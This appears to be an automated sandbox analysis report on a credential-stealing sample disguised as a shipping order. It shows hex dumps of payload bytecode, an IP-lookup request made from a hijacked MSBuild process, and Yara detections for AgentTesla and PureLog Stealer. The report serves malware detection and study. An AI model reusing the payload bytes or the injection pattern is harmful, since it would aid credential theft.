2024-04-20 04:47:58 UTC	16384	IN	Data Raw: 32 30 2c 20 30 78 30 34 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 31 2c 20 30 78 33 39 2c 20 30 78 30 35 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 30 35 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 33 38 2c 20 30 78 35 32 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 46 46 2c 20 30 78 32 41 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 31 33 2c 20 30 78 33 30 2c 20 30 78 30 32 2c 20 30 78 30 30 2c 20 30 78 42 44 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 31 31 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c Data Ascii: 20, 0x04, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x39, 0x05, 0x00, 0x00, 0x00, 0x38, 0x05, 0x00, 0x00, 0x00, 0x38, 0x52, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x02, 0x00, 0xBD, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x11, 0x20, 0x00, 0x00, 0x00, 0x00,
2024-04-20 04:47:58 UTC	16384	IN	Data Raw: 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 39 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 35 2c 20 30 78 37 42 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 37 32 2c 20 30 78 41 45 2c 20 30 78 30 34 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 32 38 2c 20 30 78 31 42 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 37 44 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 32 30 2c 20 30 78 32 36 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 Data Ascii: 0x00, 0x00, 0x00, 0xFE, 0x09, 0x00, 0x00, 0x25, 0x7B, 0x74, 0x00, 0x00, 0x04, 0x72, 0xAE, 0x04, 0x00, 0x70, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x7D, 0x74, 0x00, 0x00, 0x04, 0x20, 0x26, 0x00, 0x00, 0x00, 0xFE, 0x0E, 0x00, 0x00, 0x00, 0xFE, 0x0C, 0x00, 0x00, 0x2
2024-04-20 04:47:58 UTC	16384	IN	Data Raw: 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 33 41 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 31 2c 20 30 78 33 39 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 39 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 35 2c 20 30 78 37 42 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 37 32 2c 20 30 78 44 34 2c 20 30 78 30 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 32 38 2c 20 30 78 31 42 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 Data Ascii: , 0x00, 0x00, 0xFE, 0x0E, 0x00, 0x00, 0x00, 0xFE, 0x0C, 0x00, 0x00, 0x20, 0x3A, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x39, 0x22, 0x00, 0x00, 0x00, 0xFE, 0x09, 0x00, 0x00, 0x25, 0x7B, 0x74, 0x00, 0x00, 0x04, 0x72, 0xD4, 0x05, 0x00, 0x70, 0x28, 0x1B, 0x00, 0x00, 0
2024-04-20 04:47:58 UTC	16384	IN	Data Raw: 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 31 2c 20 30 78 33 39 2c 20 30 78 31 36 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 39 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 37 42 2c 20 30 78 37 46 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 34 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 32 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 33 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 33 2c Data Ascii: 00, 0xFE, 0x0C, 0x03, 0x00, 0x20, 0x01, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x39, 0x16, 0x00, 0x00, 0x00, 0xFE, 0x09, 0x00, 0x00, 0x7B, 0x7F, 0x00, 0x00, 0x04, 0xFE, 0x0E, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00, 0xFE, 0x0E, 0x03, 0x00, 0x00, 0xFE, 0x0C, 0x03,
2024-04-20 04:47:58 UTC	16384	IN	Data Raw: 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 31 33 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 36 2c 20 30 78 36 46 2c 20 30 78 36 39 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 36 2c 20 30 78 32 30 2c 20 30 78 31 38 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 45 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 43 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 31 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 46 45 2c 20 30 78 30 31 2c 20 30 78 33 39 2c 20 30 78 30 45 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 37 38 2c 20 30 78 30 Data Ascii: 0xFE, 0x0C, 0x00, 0x00, 0x73, 0x13, 0x01, 0x00, 0x06, 0x6F, 0x69, 0x01, 0x00, 0x06, 0x20, 0x18, 0x00, 0x00, 0x00, 0xFE, 0x0E, 0x01, 0x00, 0x00, 0xFE, 0x0C, 0x01, 0x00, 0x20, 0x01, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x39, 0x0E, 0x00, 0x00, 0x00, 0x28, 0x78, 0x0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.74.152	443	6816	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 04:48:01 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-20 04:48:01 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 04:48:01 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87727fe84d881d80-ATL
2024-04-20 04:48:01 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Target ID:	0
Start time:	06:47:53
Start date:	20/04/2024
Path:	C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe"
Imagebase:	0xd00000
File size:	189'952 bytes
MD5 hash:	5A9BF748B2B3431B39E5A8FEA6FEAA80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2011142361.0000000013011000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: 00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:47:59
Start date:	20/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x6f0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4105077153.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4105077153.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4105077153.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	06:48:00
Start date:	20/04/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6424 -s 2408
Imagebase:	0x7ff7969d0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD9B8A9F40 Relevance: 1.3, Instructions: 1299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4befc19fcce65bf6c1e133b98b01f524ca83f688cd65684cd55d96affc7e9fd
Instruction ID: 6218c156d9cbdf3587089a3245aaa38335d71b94e8c49ec82773055752fa0372
Opcode Fuzzy Hash: d4befc19fcce65bf6c1e133b98b01f524ca83f688cd65684cd55d96affc7e9fd
Instruction Fuzzy Hash: 86C2B570E09A1D8FDBA8DB58C895BA8B7B1FF59300F5041E9D01DE72A5DA34AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A08ED Relevance: .5, Instructions: 529COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23f42dd309b013b99681dd038a58d15f46177eb58e6381f56ed177e6feff603
Instruction ID: 1976e90ae27126074010d30980eb2e2aaccc9d5b7e72e5fc49dca95e0b5b00b6
Opcode Fuzzy Hash: a23f42dd309b013b99681dd038a58d15f46177eb58e6381f56ed177e6feff603
Instruction Fuzzy Hash: 81120B71E19A1D8FDBA4EB58C865BE8B7B1FF58701F1101EAD04DE32A1DE356A81CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A3040 Relevance: .5, Instructions: 458COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a354530efc6d63c043183d1672850fb66e86d3f7f5c2bc1d30fc33173ee250
Instruction ID: 6faaf39612772e85d9dbfda1268eb2d4e46805ab71e8235c5fbdb8bc10af0cd3
Opcode Fuzzy Hash: 52a354530efc6d63c043183d1672850fb66e86d3f7f5c2bc1d30fc33173ee250
Instruction Fuzzy Hash: 74B10B22F1DE5E0BEBBC975C64656B963C2EBDC760B0501BBD40DC32DAED18AD424390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1831 Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0731a4f7877f6a7a96f1e12a9d32b72fe9feb5a3cb34684895a7f90af16ccd0
Instruction ID: efaa3f9512f670bf2447097941db3e3c8e36bd2f0a62058de7fa77c20447638b
Opcode Fuzzy Hash: b0731a4f7877f6a7a96f1e12a9d32b72fe9feb5a3cb34684895a7f90af16ccd0
Instruction Fuzzy Hash: 10A17E70A19A4E8FDF98EF58C8A4AEDB7B2FF59300F50016AD41DD7295CB35A942CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A51F2 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 421593f55b150c2144e09a701dcc7e877e1c1714219fbfc175c40942afd01f98
Instruction ID: db6e23093d8e18fc06c42535139623085664ae34875af43a4f2c686399a39281
Opcode Fuzzy Hash: 421593f55b150c2144e09a701dcc7e877e1c1714219fbfc175c40942afd01f98
Instruction Fuzzy Hash: 2F818E33F0E66A4FE715EBACEC669EC3BA0EF96321B090177C048C71A3DD1964468791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A3060 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0039186c1823e93a103cf8179903aa1eb1ee559a16d8e7ea7ad7b3241e33414
Instruction ID: 8255126fd779afbe706eec4895a0175c200415139c347673c4a73df3e018311a
Opcode Fuzzy Hash: d0039186c1823e93a103cf8179903aa1eb1ee559a16d8e7ea7ad7b3241e33414
Instruction Fuzzy Hash: 8191B271E0DA4D4FDB98DBA898656AD77F2FF9C300F15017AE04DE32A2DA245A01C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AB6FA Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5dd97ebc10dac194b6a9375ad299d8c1f7be0b6d2c3348ef94afb711cf7d657
Instruction ID: 8cc8523317d001238d5bc9c294f43dcc3b240c6cc0408f12daac9c43416877af
Opcode Fuzzy Hash: d5dd97ebc10dac194b6a9375ad299d8c1f7be0b6d2c3348ef94afb711cf7d657
Instruction Fuzzy Hash: 3611BF30A0E68E8FDB91DF68C8649B97BA0FF29300F04066AC459C71B1DB74A954CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AE191 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7829c78524e361171cf3e05f038d14aa676898a224ca871c5c594195795564a
Instruction ID: 13f7579366cefb90ffe3163529e4c1f1d48e16e8d198c31ac6b77d7217fe88bb
Opcode Fuzzy Hash: c7829c78524e361171cf3e05f038d14aa676898a224ca871c5c594195795564a
Instruction Fuzzy Hash: E3813932E0965E8FEB51EFACD8A59E97BB0FF09315B0405B7D048C70A3DA346505CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A4A74 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff7cd9070248ae826687acc7855ec39197d4a94fc0d058e4bb15258551c0f6f4
Instruction ID: 0e64161977dc57a5658e4a8a055b6044d053187e52b26ac3ff2aad9344a8d5aa
Opcode Fuzzy Hash: ff7cd9070248ae826687acc7855ec39197d4a94fc0d058e4bb15258551c0f6f4
Instruction Fuzzy Hash: 0991CD30A096198FDBA6EF18C8A1B9973B2FF59348F5045E8D04DD3299CB35AD95CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A443D Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1ea3212ac719be6dbc64a3bd7f45223a6de7c496db87787b0372a1b4b2d487f
Instruction ID: e8a5db8b1449d9f4e75ec8218d4d9aca01a54c42c3e0df25e7feab296920d377
Opcode Fuzzy Hash: c1ea3212ac719be6dbc64a3bd7f45223a6de7c496db87787b0372a1b4b2d487f
Instruction Fuzzy Hash: B6813D30A0A51D8FDBA5EF28C891BA973B1EB59348F6044B8D04DD3299CF36AD95CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A5864 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 488b7ba796ddce8ad769d1aa2765401dd6ac6935a111c53df83d95d28bd00e4f
Instruction ID: 5831919180b5180e467797bd2e28f11c07c9290e3ba3e823e93f26482262b36f
Opcode Fuzzy Hash: 488b7ba796ddce8ad769d1aa2765401dd6ac6935a111c53df83d95d28bd00e4f
Instruction Fuzzy Hash: 1A71C271A19A8D8FFB54DBA8D8657EDBBE0FF59340F4401BAD04CD72E6DA282842C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A29B6 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 283692ad5f87dc2d4f020ae82662a2920227ffa675cc61bb4d45885b1ccaaeae
Instruction ID: 716b1a16475bbe59890814935b228354006acd691f4eb96379a116d16830c1ae
Opcode Fuzzy Hash: 283692ad5f87dc2d4f020ae82662a2920227ffa675cc61bb4d45885b1ccaaeae
Instruction Fuzzy Hash: E751E331E0DB4C4FDB58EF9898456E97BE1FF98310F04826BD44D93256DA34A985CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A4089 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8734da3187181e4e82a5fe49acd1ee892f28f7a872e5bb2a0821523c1496c65a
Instruction ID: 69b792c1bfbce043a048ca30bb5e1a32e7c5a116e1a2e11cd755de94026b2098
Opcode Fuzzy Hash: 8734da3187181e4e82a5fe49acd1ee892f28f7a872e5bb2a0821523c1496c65a
Instruction Fuzzy Hash: B641A131719A098FDFE4DB6CD4A5A617BE1FFA930071906BDD44DC72A2DA24E842CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A32FA Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a090b6ad520898495abfdb267cc4a2c6e91c6aff9b9d2e76f4e1405e1446e98c
Instruction ID: 43efb0174d5652e146236a02db9a749ac17c885c6529c375f88302a46da9d79d
Opcode Fuzzy Hash: a090b6ad520898495abfdb267cc4a2c6e91c6aff9b9d2e76f4e1405e1446e98c
Instruction Fuzzy Hash: 26415A33F0E5998FE715AB9CBCA60ED7B60EF85361F1401BBD94887097ED2669098350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A34A1 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7db73dc896e7299b1f9bf2471bc8a32162434c0bab2eb3506c7fa5ecdbe1a2cf
Instruction ID: 8b31dd47f8e62d60c4a81bda5784bfc482dde050daa8838b0b0f5537439d6e5f
Opcode Fuzzy Hash: 7db73dc896e7299b1f9bf2471bc8a32162434c0bab2eb3506c7fa5ecdbe1a2cf
Instruction Fuzzy Hash: 6B418E71E09A5D8FEF94EF98D895AECBBF1FF68340F040166D009E32A5DB34A8458750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A4EE1 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1008857d87c30ec4d775d1f691e966e3fcd23a8722bf71ff00990391c7edd0a0
Instruction ID: bc0d88d933403b26a1a669fbf96a8fa26a06e9229da2cfb017fc96430ea1f9b0
Opcode Fuzzy Hash: 1008857d87c30ec4d775d1f691e966e3fcd23a8722bf71ff00990391c7edd0a0
Instruction Fuzzy Hash: 5931D432A4D2A55FD3176BB4BC264E53BB0DF46235B0941F7D0D8CA4E3E91C218AC3A6

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A0490 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b54b0f0e75359f95dde1b0116e78cd84350f1e48a9d88120fd3fa31b0ccfd6b
Instruction ID: 91b0aaa196cd70eb1e37d77d1548f464f2c6ab0cf088d581d1e00c3b2f5199c3
Opcode Fuzzy Hash: 7b54b0f0e75359f95dde1b0116e78cd84350f1e48a9d88120fd3fa31b0ccfd6b
Instruction Fuzzy Hash: EC316D31E0995D9FDB94EF9CD899AEDB7F1FB6C740F00012AE019E3295DB34A9418750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1328 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047218298.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_ShippingOrder_ GSHS2400052.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b1536efc70e2253835d6f2daa6191e339085cf7226a8edcdeeb97137c04b09
Instruction ID: 975da95e617c8998deef642d50b0e99da4ae8f4f1063b3d8eacacd6df046f274
Opcode Fuzzy Hash: 68b1536efc70e2253835d6f2daa6191e339085cf7226a8edcdeeb97137c04b09
Instruction Fuzzy Hash: A7415F71A1994E8FDF88EF98D855AEDB7B1FF98300F10017AD419E3295DA34A942CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A0558 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

